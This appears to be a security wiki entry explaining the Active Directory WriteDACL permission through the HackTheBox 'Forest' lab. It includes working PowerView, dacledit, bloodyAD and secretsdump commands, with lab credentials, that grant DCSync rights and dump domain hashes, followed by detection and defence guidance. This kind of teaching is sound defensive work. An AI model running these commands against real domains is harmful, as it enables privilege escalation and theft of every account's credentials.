WriteDACL

WriteDACL is an Active Directory permission (an ACE, Access Control Entry) that grants a principal the right to modify the DACL (Discretionary Access Control List) of the object it sits on. Put another way: whoever holds WriteDACL over an object can rewrite who has which permissions over that object, including themselves.

Why it's so powerful. A DACL is the list of ACEs defining an object's access control. WriteDACL doesn't grant data access by itself, but it grants something better: the power to give yourself any other permission. It's a self-promotion primitive. If you hold it over the domain object, you can add an ACE granting yourself replication rights and run a DCSync.

The abuse, step by step (Forest). In Forest, the Exchange Windows Permissions group held WriteDACL over the domain object DC=htb,DC=local. With a user in that group, you use PowerView to add the DCSync ACE:

$SecPassword = ConvertTo-SecureString 'jaime123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\jaime', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jaime -Rights DCSync

From Linux, the same ACE is added with impacket or bloodyAD:

dacledit.py -action write -rights DCSync -principal jaime -target-dn "DC=htb,DC=local" <domain>/jaime:'jaime123'
bloodyAD -d <domain> -u jaime -p 'jaime123' --host <dc> add dcsync jaime
secretsdump.py <domain>/jaime:'jaime123'@<dc> -just-dc      # and dump the domain

-Rights DCSync translates to the two concrete ACEs that make up the attack: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. Once added, the user can ask the DC to replicate the domain database and dump every hash.

Relation to other permissions. WriteDACL is one of the DACL/ACL abuses BloodHound maps, alongside GenericAll, WriteOwner and GenericWrite. The difference: GenericAll is immediate full control; WriteDACL is an intermediate step (first you grant yourself whatever permission you want, then you use it). In Forest it arrives chained from an Account Operators abuse.

How to detect it. Granting yourself a new ACE over the domain object leaves an Event ID 5136 (a directory service object was modified) whose security-descriptor field grows by the replication ACE; it requires Audit Directory Service Changes and a SACL on the domain object (which, being Tier-0, should always have one). It is among the most critical changes the directory can record: any modification of the domain object's DACL by anything other than a known administration account should be treated as an incident. Since the next step is almost always DCSync, correlating 5136 on the domain → 4662 with the replication GUIDs closes the detection chain.

Defence. Audit who holds WriteDACL (and WriteOwner) over critical objects, especially over the domain object and the DC account. The Exchange Windows Permissions group is a usual suspect: Exchange deployments grant it broad permissions worth reviewing and restricting.